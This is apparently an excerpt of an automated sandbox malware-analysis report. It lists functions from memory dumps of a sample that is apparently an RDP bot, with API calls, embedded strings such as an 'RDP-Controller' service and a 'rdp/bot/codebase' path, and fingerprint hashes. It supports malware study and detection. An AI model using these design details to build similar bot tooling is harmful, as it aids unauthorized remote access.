Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: CtrlErrorHandlerLastRegisterServicefflushfwrite
String ID: $P$RDP-Controller$Service running$Service stopping$[E] (%s) -> RegisterServiceCtrlHandler failed(GetLastError=%lu)$[I] (%s) -> %s$svc_main$~
API String ID: 3562457520-1478336053
Opcode ID: ff3701bf76a7f736c7c8bbc0a00331e4bc82fb3c2cc5cc884ae150488136f5bc
Instruction ID: a9a8b8a76ba04bbcb67b55c5db5ac861529d7512ec2590a873a13bdbc2bba487
Opcode Fuzzy Hash: ff3701bf76a7f736c7c8bbc0a00331e4bc82fb3c2cc5cc884ae150488136f5bc
Instruction Fuzzy Hash: 5F513910E0F607CAFB747B90B4803B8E1909F28755FD601B6D50E0A5F2DE5EA9879372

Function 00007FFB23B0AFB0 Relevance: 21.1, APIs: 9, Strings: 5, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FFB23B0AFF7
HeapReAlloc.KERNEL32 ref: 00007FFB23B0B00B
strlen.MSVCRT ref: 00007FFB23B0B05D
GetProcessHeap.KERNEL32 ref: 00007FFB23B0B080
HeapFree.KERNEL32 ref: 00007FFB23B0B091
GetProcessHeap.KERNEL32 ref: 00007FFB23B0B0A5
HeapAlloc.KERNEL32 ref: 00007FFB23B0B0B6

Part of subcall function 00007FFB23B077A2: fwrite.MSVCRT ref: 00007FFB23B0784E
Part of subcall function 00007FFB23B077A2: fflush.MSVCRT ref: 00007FFB23B0785A

GetProcessHeap.KERNEL32 ref: 00007FFB23B0B0F8
HeapFree.KERNEL32 ref: 00007FFB23B0B109

Strings

mem_realloc, xrefs: 00007FFB23B0B0E0
sam3_send_req, xrefs: 00007FFB23B0B047
mem_alloc, xrefs: 00007FFB23B0B0C8
[D] (%s) -> %s, xrefs: 00007FFB23B0B04E
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB23B0B0CF, 00007FFB23B0B0E7

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209280482.00007FFB23B20000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209306282.00007FFB23B21000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209326411.00007FFB23B24000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23b00000_main.jbxd

Similarity

API ID: Heap$Process$AllocFree$fflushfwritestrlen
String ID: [D] (%s) -> %s$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$mem_realloc$sam3_send_req
API String ID: 1135201459-1870638116
Opcode ID: 215ee8e1e7e3a5955a77bedf4edb801da3009a201c4daffdb7a2e065cda0b47b
Instruction ID: 6b2c484fd1e4280b7d022829346fc4be9e42f7e524d370f38b3c496c3a68d01f
Opcode Fuzzy Hash: 215ee8e1e7e3a5955a77bedf4edb801da3009a201c4daffdb7a2e065cda0b47b
Instruction Fuzzy Hash: A4319DD9A1E6C685FA529F31EC883BD6350BF84BC0F4C41B4D9CE66799EE2CE5058300

Function 00007FFB2270D030 Relevance: 19.6, APIs: 6, Strings: 7, Instructions: 105memorystringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FFB2270D0CE
GetProcessHeap.KERNEL32 ref: 00007FFB2270D101
HeapAlloc.KERNEL32 ref: 00007FFB2270D112
strcpy.MSVCRT ref: 00007FFB2270D16B
GetProcessHeap.KERNEL32 ref: 00007FFB2270D181
HeapFree.KERNEL32 ref: 00007FFB2270D192

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB2270D1A7
-LTCSES-, xrefs: 00007FFB2270D130
-LTCMAS-, xrefs: 00007FFB2270D122
on_tick_expiry, xrefs: 00007FFB2270D0EB
[D] (%s) -> Logoff(name=%s,s_sid=%s,acct_expires=%x,ts_now=%llx), xrefs: 00007FFB2270D0F2
XESS, xrefs: 00007FFB2270D13E
mem_alloc, xrefs: 00007FFB2270D1A0

Memory Dump Source

Source File: 0000001D.00000002.2208390764.00007FFB22701000.00000020.00000001.01000000.00000010.sdmp, Offset: 00007FFB22700000, based on PE: true

Associated: 0000001D.00000002.2208361583.00007FFB22700000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208422394.00007FFB22714000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208448902.00007FFB2271D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208474915.00007FFB22720000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001D.00000002.2208502995.00007FFB22721000.00000008.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22700000_main.jbxd

Similarity

API ID: Heap$Process$AllocFreestrcpystrlen
String ID: -LTCMAS-$-LTCSES-$XESS$[D] (%s) -> Logoff(name=%s,s_sid=%s,acct_expires=%x,ts_now=%llx)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$on_tick_expiry
API String ID: 925994320-1558387473
Opcode ID: 9c37c831d31a8705c42675395a9b1d5eb539fc28c1d974cf7f18437bc9b1a997
Instruction ID: 4154723dd874d751df39c8120d39e1d950858bde60cad810e8821cfcd0c10442
Opcode Fuzzy Hash: 9c37c831d31a8705c42675395a9b1d5eb539fc28c1d974cf7f18437bc9b1a997
Instruction Fuzzy Hash: 0D418FE1A0D78281F65AAF35DC447796661EF46B84F040534EE0E873A6DEBDEE4AC310

Function 00007FF7AABD6FD3 Relevance: 19.6, APIs: 4, Strings: 9, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF7AABD6FFE
strlen.MSVCRT ref: 00007FF7AABD7027
strlen.MSVCRT ref: 00007FF7AABD7033
strlen.MSVCRT ref: 00007FF7AABD7049

Strings

NULL, xrefs: 00007FF7AABD715D
((*path_sz) > 0), xrefs: 00007FF7AABD70E3
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF7AABD7091, 00007FF7AABD70C1, 00007FF7AABD70F1
(path_sz != NULL), xrefs: 00007FF7AABD70B3
C:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF7AABD707C, 00007FF7AABD70AC, 00007FF7AABD70DC
[I] (%s) -> Done(path=%s,path_sz=%llu), xrefs: 00007FF7AABD705E
fs_path_temp, xrefs: 00007FF7AABD7057, 00007FF7AABD708A, 00007FF7AABD70BA, 00007FF7AABD70EA, 00007FF7AABD7124
(path != NULL), xrefs: 00007FF7AABD7083
[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x), xrefs: 00007FF7AABD712B

Memory Dump Source

Source File: 0000001D.00000002.2206844500.00007FF7AABD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7AABD0000, based on PE: true

Associated: 0000001D.00000002.2206820722.00007FF7AABD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206867245.00007FF7AABE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABE8000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206894106.00007FF7AABEA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000001D.00000002.2206941983.00007FF7AABEE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff7aabd0000_main.jbxd

Similarity

API ID: strlen
String ID: ((*path_sz) > 0)$(path != NULL)$(path_sz != NULL)$C:/Projects/rdp/bot/codebase/fs.c$NULL$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(path=%s,path_sz=%llu,err=%08x)$[I] (%s) -> Done(path=%s,path_sz=%llu)$fs_path_temp
API String ID: 39653677-3302659514
Opcode ID: 4dc76e705db6eb56d91b9e7fc641db9eef79bc119d044e88716ceefa20f9013f
Instruction ID: f2afef3b16aa5785cc77a9dd0a4f7a680a11837ae644ff146e9d721acb168693
Opcode Fuzzy Hash: 4dc76e705db6eb56d91b9e7fc641db9eef79bc119d044e88716ceefa20f9013f
Instruction Fuzzy Hash: 76418B61A0BA83D5FA21BB14E8503F8A751BF60384FDA51B2D54E07AB5EF3CA5478320

Function 00007FFB23AB2C99 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 126networkCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 00007FFB23AB2D44
accept.WS2_32 ref: 00007FFB23AB2D6B
htonl.WS2_32 ref: 00007FFB23AB2D9B
htons.WS2_32 ref: 00007FFB23AB2DAC

Part of subcall function 00007FFB23AB26B9: ioctlsocket.WS2_32 ref: 00007FFB23AB26DF

WSAGetLastError.WS2_32 ref: 00007FFB23AB2E5E
WSAGetLastError.WS2_32 ref: 00007FFB23AB2E9A

Strings

tcp_accept, xrefs: 00007FFB23AB2DEE, 00007FFB23AB2E37, 00007FFB23AB2E6A, 00007FFB23AB2EA6
[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23AB2E71
[I] (%s) -> Done(sock=0x%llx,client=0x%llx,h=%08x,p=%u), xrefs: 00007FFB23AB2DF5
[E] (%s) -> Failed(sock=0x%llx,WSAgle=%d), xrefs: 00007FFB23AB2EAD
[W] (%s) -> select timedout(sock=0x%llx), xrefs: 00007FFB23AB2E3E

Memory Dump Source

Source File: 0000001D.00000002.2208866783.00007FFB23AB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FFB23AB0000, based on PE: true

Associated: 0000001D.00000002.2208840934.00007FFB23AB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208893229.00007FFB23AC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208920156.00007FFB23AC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208953322.00007FFB23ACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001D.00000002.2208975635.00007FFB23ACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ab0000_main.jbxd

Similarity

API ID: ErrorLast$accepthtonlhtonsioctlsocketselect
String ID: [E] (%s) -> Failed(sock=0x%llx,WSAgle=%d)$[E] (%s) -> select failed(sock=0x%llx,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,client=0x%llx,h=%08x,p=%u)$[W] (%s) -> select timedout(sock=0x%llx)$tcp_accept
API String ID: 2278979430-4175654481
Opcode ID: 1ba63ccbe9f7202d9b606c2b9e143d7ff2fedeb48676469846514bfdad26601e
Instruction ID: c4a327a4930521d4f0fb060666243a63c92680db3c354728210212795deeb138
Opcode Fuzzy Hash: 1ba63ccbe9f7202d9b606c2b9e143d7ff2fedeb48676469846514bfdad26601e
Instruction Fuzzy Hash: 8551CFB2A196C285E7228B35EC443AD6661AB667B4F1C0372D97D27AE8EF3DD405C700

Function 00007FFB2276A870 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB2276A95C

Strings

[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FFB2276A9D5
version, xrefs: 00007FFB2276A870, 00007FFB2276A874
ini_get_var, xrefs: 00007FFB2276A8B9, 00007FFB2276A8EC, 00007FFB2276A91F, 00007FFB2276A986, 00007FFB2276A9CE
main, xrefs: 00007FFB2276A873
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2276A8C0, 00007FFB2276A8F3, 00007FFB2276A926
NULL, xrefs: 00007FFB2276A9EE, 00007FFB2276A9F7
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FFB2276A98D
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB2276A8AB, 00007FFB2276A8DE, 00007FFB2276A911
(var != NULL), xrefs: 00007FFB2276A918
(sec != NULL), xrefs: 00007FFB2276A8B2
(name != NULL), xrefs: 00007FFB2276A8E5

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var$main$version
API String ID: 1004003707-636894343
Opcode ID: 55ac09910bedfcbea2a922a39b475839cb3386a6c7cfdb4ef017326a7d6b2971
Instruction ID: 8e03a9f4450303536a29689beb02fe7e70b7a23eaa109a3171d13b075e707e80
Opcode Fuzzy Hash: 55ac09910bedfcbea2a922a39b475839cb3386a6c7cfdb4ef017326a7d6b2971
Instruction Fuzzy Hash: 1841E8E1E0C6C795FB169B21EE413F52260BF0A348F554132EA4D966B5DFBCAD86C340

Function 00007FFB23AD1E00 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB23AD1EEC

Strings

C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23AD1E3B, 00007FFB23AD1E6E, 00007FFB23AD1EA1
(sec != NULL), xrefs: 00007FFB23AD1E42
(var != NULL), xrefs: 00007FFB23AD1EA8
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FFB23AD1F1D
ini_get_var, xrefs: 00007FFB23AD1E49, 00007FFB23AD1E7C, 00007FFB23AD1EAF, 00007FFB23AD1F16, 00007FFB23AD1F5E
(name != NULL), xrefs: 00007FFB23AD1E75
NULL, xrefs: 00007FFB23AD1F7E, 00007FFB23AD1F87
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FFB23AD1F65
main, xrefs: 00007FFB23AD1E03
version, xrefs: 00007FFB23AD1E00, 00007FFB23AD1E04
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23AD1E50, 00007FFB23AD1E83, 00007FFB23AD1EB6

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var$main$version
API String ID: 1004003707-636894343
Opcode ID: cb3bdf84bb294d59d6a1715e093358a2d6fb8b1e30ed69b036d87315b8b44141
Instruction ID: fb2520c3373ee19cc18d5eca2391acec6e8a44306504ca44950231a389cf3921
Opcode Fuzzy Hash: cb3bdf84bb294d59d6a1715e093358a2d6fb8b1e30ed69b036d87315b8b44141
Instruction Fuzzy Hash: DC412FE1A18ACB95FA969B20EC407FC6260BF0A348F4C41B2DA5D2A595DF3CE647C300

Function 00007FFB2276A6E9 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB2276A7DD

Strings

(ini != NULL), xrefs: 00007FFB2276A72B
[D] (%s) -> Done(name=%s), xrefs: 00007FFB2276A7FD
version, xrefs: 00007FFB2276A6E9, 00007FFB2276A6ED
main, xrefs: 00007FFB2276A6EC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2276A739, 00007FFB2276A76C, 00007FFB2276A79F
NULL, xrefs: 00007FFB2276A854
C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB2276A724, 00007FFB2276A757, 00007FFB2276A78A
(sec != NULL), xrefs: 00007FFB2276A791
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FFB2276A83B
ini_get_sec, xrefs: 00007FFB2276A732, 00007FFB2276A765, 00007FFB2276A798, 00007FFB2276A7F6, 00007FFB2276A834
(name != NULL), xrefs: 00007FFB2276A75E

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec$main$version
API String ID: 1004003707-4168131722
Opcode ID: a21304e99163152a7b7a5e6e0e17c7d516252c4189549a088e36afb3d51a28d2
Instruction ID: 6f998c2f78e6bd12b50c82b639ba34a20d79d805bc877da44348c28ed09e4c4c
Opcode Fuzzy Hash: a21304e99163152a7b7a5e6e0e17c7d516252c4189549a088e36afb3d51a28d2
Instruction Fuzzy Hash: A541FAE1E0C6C795FB239B21EE517F42260AB1A348F444136DA0D9A5B5DFBCED86C380

Function 00007FFB23AD1C79 Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FFB23AD1D6D

Strings

C:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FFB23AD1CB4, 00007FFB23AD1CE7, 00007FFB23AD1D1A
(sec != NULL), xrefs: 00007FFB23AD1D21
(ini != NULL), xrefs: 00007FFB23AD1CBB
ini_get_sec, xrefs: 00007FFB23AD1CC2, 00007FFB23AD1CF5, 00007FFB23AD1D28, 00007FFB23AD1D86, 00007FFB23AD1DC4
(name != NULL), xrefs: 00007FFB23AD1CEE
NULL, xrefs: 00007FFB23AD1DE4
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FFB23AD1DCB
main, xrefs: 00007FFB23AD1C7C
version, xrefs: 00007FFB23AD1C79, 00007FFB23AD1C7D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23AD1CC9, 00007FFB23AD1CFC, 00007FFB23AD1D2F
[D] (%s) -> Done(name=%s), xrefs: 00007FFB23AD1D8D

Memory Dump Source

Source File: 0000001D.00000002.2209018844.00007FFB23AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FFB23AD0000, based on PE: true

Associated: 0000001D.00000002.2208997687.00007FFB23AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209048151.00007FFB23AE2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209071254.00007FFB23AEB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209098898.00007FFB23AEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209118852.00007FFB23AEF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001D.00000002.2209139881.00007FFB23AF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb23ad0000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$C:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec$main$version
API String ID: 1004003707-4168131722
Opcode ID: 1e0773444fa5bbe13f167a8c3d5b9f59777dd6178e7bb6a89494947c8f4e2965
Instruction ID: cc112bbdab10d44d2665b97f8b1d3686f25bcb655eecac9515ea8c1d78f2c6af
Opcode Fuzzy Hash: 1e0773444fa5bbe13f167a8c3d5b9f59777dd6178e7bb6a89494947c8f4e2965
Instruction Fuzzy Hash: 8C4132E1A18ACF95FA969B30EC407BC2250BB1A348F4C42B2DA5D26599DF3CE647C300

Function 00007FFB2273A57E Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB2273A593
LeaveCriticalSection.KERNEL32 ref: 00007FFB2273A5F9
GetProcessHeap.KERNEL32 ref: 00007FFB2273A630
HeapAlloc.KERNEL32 ref: 00007FFB2273A644

Strings

[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FFB2273A61B
mem_alloc, xrefs: 00007FFB2273A684
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB2273A68B
(handler != NULL), xrefs: 00007FFB2273A5B1
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FFB2273A6BC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB2273A5BF
C:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FFB2273A5AA
ebus_subscribe, xrefs: 00007FFB2273A5B8, 00007FFB2273A614, 00007FFB2273A6B5

Memory Dump Source

Source File: 0000001D.00000002.2208550084.00007FFB22731000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFB22730000, based on PE: true

Associated: 0000001D.00000002.2208524670.00007FFB22730000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208579475.00007FFB22746000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208602997.00007FFB22750000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208629839.00007FFB22753000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001D.00000002.2208653105.00007FFB22754000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22730000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$C:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-4028107517
Opcode ID: cc3e34ee72cf39ab28ca4f50e84754200715793d60b355529230138951768346
Instruction ID: 9ad4f25a2eab545baba3047e3d184becdf6390c7bdbb1393ddb395a6807553f9
Opcode Fuzzy Hash: cc3e34ee72cf39ab28ca4f50e84754200715793d60b355529230138951768346
Instruction Fuzzy Hash: 6B3108E1F1D59381FF568B24EC613B82261AF46B84F444035C85D8B3B0EEACED85D342

Function 00007FFB227615BE Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB227615D3
LeaveCriticalSection.KERNEL32 ref: 00007FFB22761639
GetProcessHeap.KERNEL32 ref: 00007FFB22761670
HeapAlloc.KERNEL32 ref: 00007FFB22761684

Strings

ebus_subscribe, xrefs: 00007FFB227615F8, 00007FFB22761654, 00007FFB227616F5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB227615FF
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FFB2276165B
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB227616CB
(handler != NULL), xrefs: 00007FFB227615F1
[I] (%s) -> Done(handler=0x%p), xrefs: 00007FFB227616FC
mem_alloc, xrefs: 00007FFB227616C4
C:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FFB227615EA

Memory Dump Source

Source File: 0000001D.00000002.2208703505.00007FFB22761000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFB22760000, based on PE: true

Associated: 0000001D.00000002.2208680037.00007FFB22760000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208733335.00007FFB22773000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208757421.00007FFB2277C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208788193.00007FFB2277F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000001D.00000002.2208811315.00007FFB22780000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ffb22760000_main.jbxd

Similarity

API ID: CriticalHeapSection$AllocEnterLeaveProcess
String ID: (handler != NULL)$C:/Projects/rdp/bot/codebase/ebus.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(handler=0x%p,err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[I] (%s) -> Done(handler=0x%p)$ebus_subscribe$mem_alloc
API String ID: 285244410-4028107517
Opcode ID: 8ffe8d3f2cb2c94b7314edfb1bd75ec74e53f991a1248c8ff4180b55ae0506ef
Instruction ID: 3e1f5cca4747140e247477e7f39523248bdacc3d1c76c4546c9f55e0dc0584f6
Opcode Fuzzy Hash: 8ffe8d3f2cb2c94b7314edfb1bd75ec74e53f991a1248c8ff4180b55ae0506ef
Instruction Fuzzy Hash: 263103E5E0DA8381FA169B35EE543B42361AF4AB84F488135C94DCB3B0DEACEC45C340

Function 00007FFB23B062BE Relevance: 18.1, APIs: 4, Strings: 8, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FFB23B062D3
LeaveCriticalSection.KERNEL32 ref: 00007FFB23B06339
GetProcessHeap.KERNEL32 ref: 00007FFB23B06370
HeapAlloc.KERNEL32 ref: 00007FFB23B06384

Strings

[I] (%s) -> Done(handler=0x%p), xrefs: 00007FFB23B063FC
mem_alloc, xrefs: 00007FFB23B063C4
ebus_subscribe, xrefs: 00007FFB23B062F8, 00007FFB23B06354, 00007FFB23B063F5
C:/Projects/rdp/bot/codebase/ebus.c, xrefs: 00007FFB23B062EA
(handler != NULL), xrefs: 00007FFB23B062F1
[E] (%s) -> Failed(handler=0x%p,err=%08x), xrefs: 00007FFB23B0635B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FFB23B062FF
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FFB23B063CB

Memory Dump Source

Source File: 0000001D.00000002.2209181785.00007FFB23B01000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFB23B00000, based on PE: true

Associated: 0000001D.00000002.2209162006.00007FFB23B00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209208855.00007FFB23B13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209231667.00007FFB23B14000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000001D.00000002.2209254886.00007FFB23B1D000.00000004.00000001.01000000.00000009.sdmpDownload File
